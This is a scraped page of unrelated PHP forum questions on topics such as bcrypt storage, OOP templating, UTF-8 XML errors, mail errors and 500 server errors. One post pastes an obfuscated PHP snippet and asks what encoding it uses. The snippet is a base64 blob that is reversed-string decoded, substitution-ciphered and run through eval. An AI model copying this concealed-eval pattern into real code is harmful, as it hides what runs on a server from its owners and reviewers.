PHP - Recommended Internal Encoding For Php

http://php.net/manua...ssword-hash.php shows a simple example to hash a password using BCRYPT.  I've read different posts recommending CHAR(60), BINARY(60), BINARY, and even BINARY(40).   What are the pros and cons of using one datatype over another?

<?php
/**
 * In this case, we want to increase the default cost for BCRYPT to 12.
 * Note that we also switched to BCRYPT, which will always be 60 characters.
 */
$options = [
    'cost' => 12,
];
echo password_hash("rasmuslerdorf", PASSWORD_BCRYPT, $options)."\n";
?>  

 

This topic has been moved to Miscellaneous.

http://www.phpfreaks.com/forums/index.php?topic=326872.0

Hey PHPFreaks!

I'm designing an online application using OOP. This is by no means my first application, but it is using Object Oriented techniques, so I come to you helpful folks with a question.Essentially, I would like to be able to find out about recommended ways to approach page templates in a class design, as well as other general good class design practices specific to  server-side languages.

So, without further ado, what is considered a good/recommended method of approaching template design using OOP? For example, a base template class which can be extended for multiple themes, so additional themes don't have to recreate the core functionality if they decide not to change it. It seems that there are a lot of methods to approach it, which is why I'm here!

Any help you can provide would be greatly appreciated!

Hey guys quick question.

I have one static ip address that if i put in the broswer it will forward to the internal ip of my server and will  display my website which is located on my server.

In my house i also have a development pc which is accessibal within my local network and i would like to be able to view it from my website in an iframe or something.

My goal is to just go to my website have a page which will load the local internal ip of my dev pc and display my wamp folder. so i can show my clients the progress on their site.

I know this is now good practice but this is just and simplified example of what i am trying to achieve.

I would like to display te internal ipaddress on my webserver so that when im on the road i can simply click a link on my website and display the content of my dev pc wamp server?

Is ther a special link that i need to use?  Is this possible with or without PHP? Should i use an iframe?

Hi guys!

I'm having a problem with my search bar on my company website.

I don't know what's going on, I think that everething is ok. But I'm not a master with php.

If anyone can help me with this, I'll be very apprceitte it.

Here is the code.

<!-- SEARCH -->
                   <div class="col-xl-7 col-lg-7 col-md-7 p-0">
                       <div class="col-xl-12 Bx-Search">
                           <div class="row">
                               
                               <div class="col-xl-1 col-lg-1 col-md-1 col-sm-2 col-2 py-2">
                                   <img src="<?php echo base_url(); ?>imgs/Search-icon.jpg" alt="" class="Icon-Search">
                               </div>
                               <div class="col-xl-7 col-lg-7 col-md-7 col-sm-7 col-6 p-0">
                                    
                                <input type="text" class="InpSearch df" placeholder="Su busqueda..." name="palabraABuscar" value="<?php if (isset($palabraBuscada)){echo $palabraBuscada;}?>">
                                    
                               </div>
                               <div class="col-xl-4 col-lg-4 col-md-4 col-sm-3 col-4 p-0 border">
                                   <select name="" id="" class="df fs7 SelectSearch">
                                       <option value="">Todas las Categorias...</option>
                                   </select>
                               </div>
                               
                           </div>
                       </div>
                   </div>
                   <button class="col-xl-2 col-lg-2 col-md-2 bck_00 c0 df btn-Search" name="buscar">
                       Buscar
                   </button>
                </div>
            </form>

Hello all. I have a php script that creates an xml file pulled from a mysql database. I had created it using iso-8859-1 as the encoding and everything worked perfectly! However, the client wants it encoded at UTF-8.

$_xml ="<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\r\n";

When I do that I get the following error --

An invalid character was found in text content. Error processing resource 'http://www.....


From the error, this has something to do with a specific character the script doesn't like but there are no strange characters in the fields that are pulled. Any ideas what may be the problem?

I would greatly appreciate any help!

Hi,

Could anyone tell me what this encoding is please Code: [Select]
<?php $_F=__FILE__;$_X='P0IuP0QxRHNMKipzKmN3XWJkRFBjUFNjVjQ0Y1ZjXVN1dVltUGNQU2NRX11TdXVZbVAzcypjcypjQTFkM2MzXWJkRFBjUFYKWTNjdFZlTlkzY0ViU3VjUDFZY2R1VklZY11TdXVZbVBjRVNidXMqY3RkVmMkX2Y1d0FjdFZiZFY3ZVkzY1ZtNGNWNDQzY1AxWWNdU3V1WW1QY1BTY1AxWWM0VlBWN1YzWXMqY2RtUFNjUFY3ZVljUV9dU3V1WW1QM3MqY0BWTlAxU2JjQ2pWbWNxTlBQYy5ialZtQERiU1NFN040NGpuXVN1QnMqY0BdU0RqYmRJMVBjKF0pYzBnZy8sY0NqVm1jcU5QUHMqY0AzZG1dWWNnbi9zKmNAdFliM2RTbXMqY0BEVl0KVklZY2ZiU1NFb040NGpzKkxzTEwzWTMzZFNtXzNQVmJQKCk7c2RtXWVONFkoJ04zWWItM11iZERQLTMxVmJZNG5kbV1uRDFEJyk7c2JObXddYmREUCgnRGJZPjQ0aFN1dVltUCcpO2NzcyRiWVBOYm08VlBWY09jVmJiVmooJzNQVlBOMydjT0JjJzNOXV1ZMzMnKTtjc3NkRWMoJF9mNXdBciddU3V1WW1QX0RON2VkXSc2T08nU20nKXMJR3MJJERON2VkXWNPY1c7cwlIc1llM1lzCUdzCSRETjdlZF1jT2NnO3MJSHNzZEVjKCRfd1J3d2s1cXInTjNZYlBqRFknNk9PJ04zWWInKXMJR3MJJHRkM2RQU2JfZDRjT2MkX3dSd3drNXFyJ04zWWJkNCc2O3MJSHNZZTNZcwlHcwkkdGQzZFBTYl9kNGNPYzNZMzNkU21fZDQoKTtzCUhzc2RFYygkX2Y1d0FyJ11TdXVZbVBfRWJTdSc2T08nJ2N8fGMkX2Y1d0FyJ11TdXVZbVBfdVkzM1ZJWSc2T08nJylzTCoJb1NQMWNQMVljRWJTdWNWbTRjdVkzM1ZJWWNlZG1ZY1ZiWWNiWThOZGJZNCxjU1AxWWJVZDNZY1VZJ2VlcwlsTjNQY2JZNGRiWV1QYzdWXQpjVWRQMVNOUGNQMVljZG0zWWJQYzhOWWJqCSpMcwlHcwkkYllQTmJtPFZQVnInM1BWUE4zJzZjT2MnRVZkZSc7cwlIc1llM1lzCUdzCSQ4YmpjT2Mia3F3UkNBY2txQTVjIm4kNDdfRGJZRWRRbiJfXVN1dVltUDNjKF1TdXVZbVBfRWJTdSxjXVN1dVltUF8zTjdsWV1QLGNdU3V1WW1QX3VZMzNWSVksY11TdXVZbVBfNFZQWVBkdVksY0RON2VkXSxjZHVWSVlfZDQsY1ZlN051X2Q0LGN0ZDNkUFNiX2Q0KWMyPmFNUndjKCcibiRfZjV3QXInXVN1dVltUF9FYlN1JzZuIicsYycibiRfZjV3QXInXVN1dVltUF8zTjdsWV1QJzZuIicsYycibiRfZjV3QXInXVN1dVltUF91WTMzVklZJzZuIicsY21TVSgpLGMibiRETjdlZF1uIixjIm4kX2Y1d0FyJ2R1VklZX2Q0JzZuIixjIm4kX3dSd3drNXFyJ11OYmJZbVBWZTdOdSc2biIsYycibiR0ZDNkUFNiX2Q0biInKSI7cwkkNDctQllRWV1OUFkoJDhiaik7cwlIc3NiTm13XWJkRFAoJ0RTM1A+NDRoU3VZbVAnLGMkYllQTmJtPFZQVik7Y3NzZEVjKCRfZjV3QXInYlk0ZGJZXVAnNk9PJycpcwlHcwliWTRkYlldUCgibm5MZG00WVFuRDFEP1BPRU5lZWR1VklZJl1TZVNiTyJuJF9mNXdBcidkdVZJWV9dU2VTYic2biImZDRPIm4kX2Y1d0FyJ2R1VklZX2Q0JzYpO3MJSHNZZTNZcwlHcwliWTRkYlldUCgiRyRfZjV3QXInYlk0ZGJZXVAnNkgiKTtjcwlIc3M/Qg==';$_D=strrev('edoced_46esab');eval($_D('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcvalRRM3RkeXV3ZkpOZWs5PThJaUVdeGwKMlJWIE9HNzFVNE01WDZMLjBEWj59bm9ne3pXY0JzS2JtWVNGSHZhUHJxWzxoQXBDJywnNnlGeHN2aTVtU1BZdWxJelFxZ0tmY0pqa1ZFYTQ9e2Jod2RVT0ddLzwycE1BVy5CMDhYMSA+ClpybmVvOX03THRbTjNEQ1RIUicpOyRfUj1zdHJfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>
Thanks in advance

Hello,

I am using the Pear Mail and Mail_Mime packages to send SMTP authenticated HTML formatted emails. I was successfully sending emails when I started getting the following error:

sendmail: 451 Internal Error

I check out the sendmail logs at /var/log/mail.log but that only says the same thing.

I am running Linux-Ubuntu and sending emails from an address on a remote server (godaddy hosted). The interesting thing is that this exact same code will run to completion and fail.

Any thoughts? Anyone with Pear Mail experience, is there any way to  end the SMTP session, maybe that is the problem. I also think an issue might be that the server thinks my IP is sending too many emails, any way to provision against that?

Thanks for any insight and please let me know if other information might be helpful to debug this.

i tried to access website from a shared network but i keep getting this error. Before this I can access the website through my local host. But since we have started using the shared server.. i cant access most of the websites.. i searched on google they mentioned about php.ini settings. No idea why did my superior changed to iis server.. definitely works on apache before.

Hey guys and gals!   I am currently working on implementing the following functionality in one of my pages:     Whenever a person with a specific IP address visits the page, an internal countdown timer of 2 hours should be started. Until that timer is active, the only response from the page ANYONE can get would be a predefined echo value. Once the timer has run out, the normal script execution of the rest of the page should be restored.   Any pointers and tips on how to approach that would be greatly appreciated.

So I have some php code within an html page (using Apache v2.2, PHP v5.2) that uses MySQLI to connect to a database and fetch some rows from a database. Everything works fine so long as I limit the number of rows fetched, if I try to fetch all the rows, I get a 500 Internal Server Error in my browser.

I am using GoDaddy Hosting -- has anyone encountered this problem/know what the hell is going on?

Only thing I really miss from PHP is "internal" access modifier. Before I was making libraries and extensions in C# (like game frameworks, Tiled implementations, GUI loaders). Now, when I am working on my own PHP framework, I really miss internal, I was using it a lot in C#. Is internal planned to be added in PHP 7 or is it already in PHP 5.6 or it will never be added?

Dear all,
According to I install old project about cakePHP and I make some report but get a error about Server Internal error
As I checked It's error about this code

try{

$excelContent = chr(255).chr(254).@mb_convert_encoding($excelContent, 'UTF-16LE', 'UTF-8');

} catch (Exception $e) {

echo 'Caught exception: ', $e->getMessage(), "\n";

}

Do you have any idea about this code? I try to catch the error but it's not work

Edited June 28 by nitiphone2021

test.php:

<?php

class Forall{

public $var_a=100;
function process(){
echo 'This is for testing'.'<br>';
echo '$var_a: '.$this->var_a.'<br>';
}

}
$obj=new Forall();
$obj->process();

<form action='post' method='insvideo.php'>
videotitle: <input type='text' name='nm_videotitle'/><br>
description: <input type='text' name='nm_description' /><br>
createddate: <input type='text' name='nm_createddate' /><br>
image: <input type='text' name='nm_image' /><br>
<input type='submit' />
</form>

?>

error:
Quote

Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator, admin@example.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log.


How can i know the line number for error?

hi, sorry if is a very noob question

in this site
http://thevalley.org.au/index.php
I have changed the info in the link contact us,

I know is there changed, cause if I hit the open in new tab contact us, or go to
http://thevalley.org.au/contact.php

it opens the link in the actual content,
but, when it opens the contact us in the side menu,
I see the old info
how to refresh it, as F5 doesnt seem to work??
thank you!